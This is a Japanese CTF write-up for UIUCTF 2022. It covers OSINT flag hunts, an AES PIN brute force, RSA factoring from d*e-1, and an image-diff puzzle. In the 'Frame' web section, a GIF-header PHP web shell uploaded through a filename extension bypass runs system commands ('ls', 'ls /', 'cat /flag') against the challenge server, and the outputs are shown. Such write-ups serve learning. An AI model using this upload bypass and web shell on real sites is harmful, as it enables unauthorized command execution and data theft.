UIUCTF 2022 Writeup

この大会は2022/7/30 9:00(JST)~2022/8/1 9:00(JST)に開催されました。
今回もチームで参戦。結果は536点で395チーム中93位でした。
自分で解けた問題をWriteupとして書いておきます。

Join our Discord (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

uiuctf{scinkey_chackinty}

Everyone's A Critic 1 (osint)

Discordに入り、"review"で検索すると、chuck.lephucke#0038が以下のように言っていることがわかる。

Hello I am Chuck and I am here somehow, i'm going to review UIUCTF 

プロフィールを見ると、ロールにフラグが設定されている。

uiuctf{this_flag_is_not_bait}

Everyone's A Critic 2 (osint)

YouTubeで"chuck lephucke"を調べると、「Chuck Lephucke Game Reviews」というものが見つかった。以下のURLにある、再生リストの全体を見ると、「the truth」の説明らしき箇所にフラグが書いてあった。

https://www.youtube.com/playlist?list=PL4CrQf2sJ35r6WW8c0exXS7NJ35oTrILx
uiuctf{m@kE_sUrE_2_j01n_mY_ch@nn3L}

Everyone's A Critic 4 (osint)

twitterで"chuck lephucke"を調べると、以下のページが見つかる。

https://twitter.com/ChuckLephucke

ヘッダ画像にフラグが薄く見える。

フラグ形式が違うので、修正する。

uiuctf{scre@m1ng_@nD_crY1ng_b3cau5e_0n_twitter}

Everyone's A Critic 5 (osint)

Steamで"chuck lephucke"を検索すると、以下のURLのページが見つかる。

https://steamcommunity.com/profiles/76561199375368137

以下のレビューのページを見ると、フラグが書いてあった。

https://steamcommunity.com/profiles/76561199375368137/recommended/
uiuctf{th1s_g@m3_m@d3_m3_A_terr1bL3_p3rSoN_iN_2016}

Frame (web)

画像をアップロードすると、画像と認識され、ファイル名に".jpg", ".jpeg", ".png", ".gif"が含まれていたら、uploads/[16進数16バイト文字列]-[ファイル名]にアップロードされる。
exploit.php.gifに以下のコードを書き、アップロードする。

GIF87a
<?php
system("ls");
?>

アップロードできたら、HTMLソースを見て、どこにアップロードされたかを見て、アクセスする。
https://frame-web.chal.uiuc.tf/uploads/06b3a8d4a24d53df-exploit.gif.phpにアクセスする。

GIF87a
0599843920bb9f60-exploit.gif.php
06b3a8d4a24d53df-exploit.gif.php
09a94c064fb521da-mypic2.gif
0ae10ae5cf81755d-exploit.gif.php
28ef7fe2138957e7-exploit.gif.php
4be56ed0bed39de2-flag.php%00.png
76915bb667b65a57-tp.jpg
8572e77ccab3b580-exploit.jpg.php
8dcd3383cd7fb6ad-mypic2.gif
94311de2a8337482-frog.jpg
a5c085f78b9271c9-frame-2.php.png
b52b455302716eb8-frame.png
bce80be7b3a6b515-flag%00.png
d2b613bf332392d5-frame-2.php.png
dcfee66e151ca4de-exploit.gif.php

今度は以下のようにコードを変えて、アップロードして結果を確認してみる。

GIF87a
<?php
system("ls /");
?>

結果は以下のようになり、flagがあることがわかる。

GIF87a
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
web-apps

今度は以下のようにコードを変えて、アップロードして結果を確認してみる。

GIF87a
<?php
system("cat /flag");
?>

結果は以下のようになり、フラグが得られた。

GIF87a
uiuctf{th1nk1ng_0uts1de_th3_fr4m3}
uiuctf{th1nk1ng_0uts1de_th3_fr4m3}

Military Grade Encryption (crypto)

key_sizeは128, 256, 512, 1024, 2048の5パターン。PINは000000~999999の1000000パターン。このブルートフォースで復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import unpad
from hashlib import md5
from base64 import b64decode
from itertools import cycle

MD5 = lambda s: md5(s).digest()
KEY_PAD = lambda key: b"\x00" * (16 - len(key)) + key

def custom_decrypt(b64data, password, keysize):
    def _gen_key(password):
        key = password
        for i in range(1000):
            key = MD5(key)
        return key
    data = b64decode(b64data)
    key = bytes_to_long(_gen_key(password))
    ciphers = [
        AES.new(KEY_PAD(long_to_bytes((key*(i+1)) % 2**128)) ,AES.MODE_ECB) for i in range(0, keysize, 16)
    ]
    ct_blocks = [
        data[i:i+16] for i in range(0, len(data), 16)
    ]
    return b"".join([cipher.decrypt(ct_block) for ct_block, cipher in zip(ct_blocks, cycle(ciphers))])

with open('flag.enc', 'r') as f:
    enc = f.read().rstrip()

found = False
for keysize in [128, 256, 512, 1024, 2048]:
    for pin in range(1000000):
        password = str(pin).zfill(6).encode()
        flag = custom_decrypt(enc.encode(), password, keysize)
        if flag.startswith(b'uiuctf{'):
            found = True
            flag = unpad(flag, 16).decode()
            print(flag)
            break
    if found:
        break
uiuctf{n0t_eNou6h_3ntr0_4_H4ndr0113d_Crypto}

asr (crypto)

RSA暗号だが、ある決まったp, qの生成方法になっている。さらにe, d, ctしかわかっていない。d * e - 1を算出すれば、phiの倍数がわかる。

d * e - 1 = 12798440407105031908999784124548472446040018889572960817730530853573947469787170113848247037843114210766860084237698041237300679054325293570244618517445055261481120413825585349170515207419290554629935870091105933806157817778443160330590022707245776617234034051475753857980562266052844635281301139210583841390095872000

この値を素因数分解し、p - 1とq - 1の組の全組み合わせで、復号する。

$ python -m primefac 12798440407105031908999784124548472446040018889572960817730530853573947469787170113848247037843114210766860084237698041237300679054325293570244618517445055261481120413825585349170515207419290554629935870091105933806157817778443160330590022707245776617234034051475753857980562266052844635281301139210583841390095872000
12798440407105031908999784124548472446040018889572960817730530853573947469787170113848247037843114210766860084237698041237300679054325293570244618517445055261481120413825585349170515207419290554629935870091105933806157817778443160330590022707245776617234034051475753857980562266052844635281301139210583841390095872000: 2 2 2 2 2 2 2 2 2 2 2 2 3 3 3 5 5 5 7 7 11 13923226921736843531 15789155524315171763 14695627525823270231 10441209995968076929 13403263815706423849 16070004423296465647 10357495682248249393 10476183267045952117 16303174734043925501 16755840154173074063 17757525673663327889 11865228112172030291 14497899396819662177 12775011866496218557 11157595634841645959 18318015934220252801
#!/usr/bin/env python3
import itertools
import math
from Crypto.Util.number import*

e = 65537
d = 195285722677343056731308789302965842898515630705905989253864700147610471486140197351850817673117692460241696816114531352324651403853171392804745693538688912545296861525940847905313261324431856121426611991563634798757309882637947424059539232910352573618475579466190912888605860293465441434324139634261315613929473
ct = 212118183964533878687650903337696329626088379125296944148034924018434446792800531043981892206180946802424273758169180391641372690881250694674772100520951338387690486150086059888545223362117314871848416041394861399201900469160864641377209190150270559789319354306267000948644929585048244599181272990506465820030285

prod_primes = d * e - 1
primes = [13923226921736843531, 15789155524315171763, 14695627525823270231,
    10441209995968076929, 13403263815706423849, 16070004423296465647,
    10357495682248249393, 10476183267045952117, 16303174734043925501,
    16755840154173074063, 17757525673663327889, 11865228112172030291,
    14497899396819662177, 12775011866496218557, 11157595634841645959,
    18318015934220252801]

prod_nums = [1, 2, 2 * 3, 2 * 3 * 5, 2 * 3 * 5 * 7, 2 * 3 * 5 * 7 * 11]

found = False
for c in itertools.combinations(primes, 8):
    c1 = list(c)
    c2 = []
    for p in primes:
        if p not in c1:
            c2.append(p)

    for num1 in prod_nums:
        for num2 in prod_nums:
            p = math.prod(c1) * num1 + 1
            q = math.prod(c2) * num2 + 1
            if isPrime(p) and isPrime(q):
                m = pow(ct, d, p * q)
                flag = long_to_bytes(m)
                if flag.startswith(b'uiuctf{'):
                    found = True
                    print('[+] p =', p)
                    print('[+] q =', q)
                    flag = flag.decode()
                    print('[*] flag:', flag)
                    break
        if found:
            break

    if found:
        break

実行結果は以下の通り。

[+] p = 271950369251417813843455214193293615667247326993078971132249677504502887164812273703264630473200442858630726959228126834476515102922075834734211926079887071
[+] q = 3063911255686677563803587147108604118996073685890282016028537107735073940154658396464966848784155585890692979345332356675288354274891823922477896511701437111
[*] flag: uiuctf{bru4e_f0rc3_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}
uiuctf{bru4e_f0rc3_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}

Collection (misc)

このCTFの各問題に使われている画像をダウンロードする。(0, y)で青の値が異なるyの値がインデックス、青の値がフラグ文字になることから、フラグを求める。

#!/usr/bin/env python3
from PIL import Image
import os

DIR1 = 'collection/'
DIR2 = 'download/'

files = os.listdir(DIR1)
flag = [''] * len(files)

for file in files:
    img1 = Image.open(DIR1 + file).convert('RGB')
    img2 = Image.open(DIR2 + file).convert('RGB')
    w, h = img1.size

    for y in range(h):
        r1, g1, b1 = img1.getpixel((0, y))
        r2, g2, b2 = img2.getpixel((0, y))
        if b1 != b2:
            flag[y] = chr(b1)
            break

flag = ''.join(flag)
print(flag)
uiuctf{Th1s_c0llect10n_is_n0w_c0mpl3ted_4f2335}

Feedback Survey (misc)

アンケートに答えたら、フラグが表示された。

uiuctf{th@nk_y0u_f0r_pl4y1ng_U1UCTF_2022!!!}